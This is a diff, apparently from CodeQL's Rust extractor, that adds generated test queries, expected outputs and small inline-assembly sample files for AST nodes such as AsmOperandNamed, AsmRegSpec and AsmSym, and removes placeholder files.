b/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs new file mode 100644 index 000000000000..d9cc2be296c9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs @@ -0,0 +1,13 @@ +// generated by codegen, do not edit + +fn test_asm_label() -> () { + // A label in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!( + "jmp {}", + label { println!("Jumped from asm!"); } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ); +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected new file mode 100644 index 000000000000..f71018339116 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | hasInExpr: | yes | hasOutExpr: | yes | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | hasInExpr: | yes | hasOutExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql new file mode 100644 index 000000000000..b7ccc0b5722e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x, string hasInExpr, string hasOutExpr +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasInExpr() then hasInExpr = "yes" else hasInExpr = "no") and + if x.hasOutExpr() then hasOutExpr = "yes" else hasOutExpr = "no" +select x, "hasInExpr:", hasInExpr, "hasOutExpr:", hasOutExpr diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected new file mode 100644 index 000000000000..642838b0ef3c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | gen_asm_operand_expr.rs:8:35:8:35 | x | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | gen_asm_operand_expr.rs:8:46:8:46 | y | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql new file mode 100644 index 000000000000..95aec8cc53d0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x +where toBeTested(x) and not x.isUnknown() +select x, x.getInExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected new file mode 100644 index 000000000000..642838b0ef3c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_expr.rs:8:35:8:35 | AsmOperandExpr | gen_asm_operand_expr.rs:8:35:8:35 | x | +| gen_asm_operand_expr.rs:8:46:8:46 | AsmOperandExpr | gen_asm_operand_expr.rs:8:46:8:46 | y | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql new file mode 100644 index 000000000000..a137533938a6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x +where toBeTested(x) and not x.isUnknown() +select x, x.getOutExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs new file mode 100644 index 000000000000..e7c9af1bfbe4 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_operand_expr() -> () { + // An operand expression in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected new file mode 100644 index 000000000000..4f8c21cb7ef6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_named.rs:8:34:8:43 | AsmOperandNamed | hasAsmOperand: | yes | hasName: | no | +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | hasAsmOperand: | yes | hasName: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql new file mode 100644 index 000000000000..7cb204f6b9e6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x, string hasAsmOperand, string hasName +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasAsmOperand() then hasAsmOperand = "yes" else hasAsmOperand = "no") and + if x.hasName() then hasName = "yes" else hasName = "no" +select x, "hasAsmOperand:", hasAsmOperand, "hasName:", hasName diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected new file mode 100644 index 000000000000..8e008a44f8aa --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.expected @@ -0,0 +1,2 @@ +| gen_asm_operand_named.rs:8:34:8:43 | AsmOperandNamed | gen_asm_operand_named.rs:8:34:8:43 | AsmRegOperand | +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | gen_asm_operand_named.rs:8:54:8:62 | AsmRegOperand | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql new file mode 100644 index 000000000000..c3cd36b2ac5b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmOperand() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected new file mode 100644 index 000000000000..aad90d4b5e81 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.expected @@ -0,0 +1 @@ +| gen_asm_operand_named.rs:8:46:8:62 | AsmOperandNamed | gen_asm_operand_named.rs:8:46:8:50 | input | diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql new file mode 100644 index 000000000000..a8b856ffaa82 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x +where toBeTested(x) and not x.isUnknown() +select x, x.getName() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs new file mode 100644 index 000000000000..1739d575b60a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_operand_named() -> () { + // A named operand in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected new file mode 100644 index 000000000000..ddd5bc880b90 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.expected @@ -0,0 +1,2 @@ +| gen_asm_option.rs:8:22:8:28 | AsmOption | isRaw: | no | +| gen_asm_option.rs:8:31:8:35 | AsmOption | isRaw: | no | diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql new file mode 100644 index 000000000000..c9e3997ed42e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOption x, string isRaw +where + toBeTested(x) and + not x.isUnknown() and + if x.isRaw() then isRaw = "yes" else isRaw = "no" +select x, "isRaw:", isRaw diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs new file mode 100644 index 000000000000..d95addaa868b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_option() -> () { + // An option in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected new file mode 100644 index 000000000000..692d66164f83 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.expected @@ -0,0 +1 @@ +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | getNumberOfAsmOptions: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql new file mode 100644 index 000000000000..77790bb85068 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOptionsList x, int getNumberOfAsmOptions +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfAsmOptions = x.getNumberOfAsmOptions() +select x, "getNumberOfAsmOptions:", getNumberOfAsmOptions diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected new file mode 100644 index 000000000000..f159de9080ed --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.expected @@ -0,0 +1,2 @@ +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | 0 | gen_asm_options_list.rs:8:22:8:28 | AsmOption | +| gen_asm_options_list.rs:8:14:8:36 | AsmOptionsList | 1 | gen_asm_options_list.rs:8:31:8:35 | AsmOption | diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql new file mode 100644 index 000000000000..06f2ba54b6e7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOptionsList x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getAsmOption(index) diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs new file mode 100644 index 000000000000..5f7a048f8199 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_options_list() -> () { + // A list of options in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected new file mode 100644 index 000000000000..c9eca662143b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | hasAsmDirSpec: | yes | hasAsmOperandExpr: | yes | hasAsmRegSpec: | yes | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | hasAsmDirSpec: | yes | hasAsmOperandExpr: | yes | hasAsmRegSpec: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql new file mode 100644 index 000000000000..05685f3d994e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql @@ -0,0 +1,13 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x, string hasAsmDirSpec, string hasAsmOperandExpr, string hasAsmRegSpec +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasAsmDirSpec() then hasAsmDirSpec = "yes" else hasAsmDirSpec = "no") and + (if x.hasAsmOperandExpr() then hasAsmOperandExpr = "yes" else hasAsmOperandExpr = "no") and + if x.hasAsmRegSpec() then hasAsmRegSpec = "yes" else hasAsmRegSpec = "no" +select x, "hasAsmDirSpec:", hasAsmDirSpec, "hasAsmOperandExpr:", hasAsmOperandExpr, + "hasAsmRegSpec:", hasAsmRegSpec diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected new file mode 100644 index 000000000000..e47c650ada01 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:26:8:28 | AsmDirSpec | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:38:8:39 | AsmDirSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql new file mode 100644 index 000000000000..5542617aea6c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmDirSpec() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected new file mode 100644 index 000000000000..c43a8ca14439 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:35:8:35 | AsmOperandExpr | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:46:8:46 | AsmOperandExpr | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql new file mode 100644 index 000000000000..bcda631ef9d9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmOperandExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected new file mode 100644 index 000000000000..b1da1a4d1d43 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_operand.rs:8:26:8:35 | AsmRegOperand | gen_asm_reg_operand.rs:8:30:8:32 | AsmRegSpec | +| gen_asm_reg_operand.rs:8:38:8:46 | AsmRegOperand | gen_asm_reg_operand.rs:8:41:8:43 | AsmRegSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql new file mode 100644 index 000000000000..aaf03f132120 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmRegSpec() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs new file mode 100644 index 000000000000..530ee125a9b0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_reg_operand() -> () { + // A register operand in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected new file mode 100644 index 000000000000..0ecd2dfbdf83 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_reg_spec.rs:8:30:8:34 | AsmRegSpec | hasIdentifier: | no | +| gen_asm_reg_spec.rs:8:43:8:45 | AsmRegSpec | hasIdentifier: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql new file mode 100644 index 000000000000..5fce70e50f94 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegSpec x, string hasIdentifier +where + toBeTested(x) and + not x.isUnknown() and + if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no" +select x, "hasIdentifier:", hasIdentifier diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected new file mode 100644 index 000000000000..d40d67cb6a7e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.expected @@ -0,0 +1 @@ +| gen_asm_reg_spec.rs:8:43:8:45 | AsmRegSpec | gen_asm_reg_spec.rs:8:43:8:45 | EBX | diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql new file mode 100644 index 000000000000..3fe54bd3697b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegSpec x +where toBeTested(x) and not x.isUnknown() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs new file mode 100644 index 000000000000..a25799476c8e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_reg_spec() -> () { + // A register specification in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + // ^^^ ^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected new file mode 100644 index 000000000000..664c70d06ba1 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.expected @@ -0,0 +1 @@ +| gen_asm_sym.rs:8:30:8:44 | AsmSym | hasPath: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql new file mode 100644 index 000000000000..e7841f07f689 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmSym x, string hasPath +where + toBeTested(x) and + not x.isUnknown() and + if x.hasPath() then hasPath = "yes" else hasPath = "no" +select x, "hasPath:", hasPath diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected new file mode 100644 index 000000000000..0bcf012c475a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.expected @@ -0,0 +1 @@ +| gen_asm_sym.rs:8:30:8:44 | AsmSym | gen_asm_sym.rs:8:34:8:44 | my_function | diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql new file mode 100644 index 000000000000..b753181e7282 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmSym x +where toBeTested(x) and not x.isUnknown() +select x, x.getPath() diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs new file mode 100644 index 000000000000..83475cfcb6cd --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_sym() -> () { + // A symbol operand in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("call {sym}", sym = sym my_function); + // ^^^^^^^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected index e69de29bb2d1..2c62ef6594b4 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | hasConstArg: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasParamList: | no | hasRetType: | no | hasReturnTypeSyntax: | no | hasTypeRepr: | no | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected index e69de29bb2d1..901ebce3a552 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.expected @@ -0,0 +1 @@ +| gen_assoc_type_arg.rs:9:21:9:31 | AssocTypeArg | gen_assoc_type_arg.rs:9:21:9:24 | Item | diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected index e69de29bb2d1..b6c9b7e740d2 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getTypeBoundList.expected @@ -0,0 +1 @@ +| 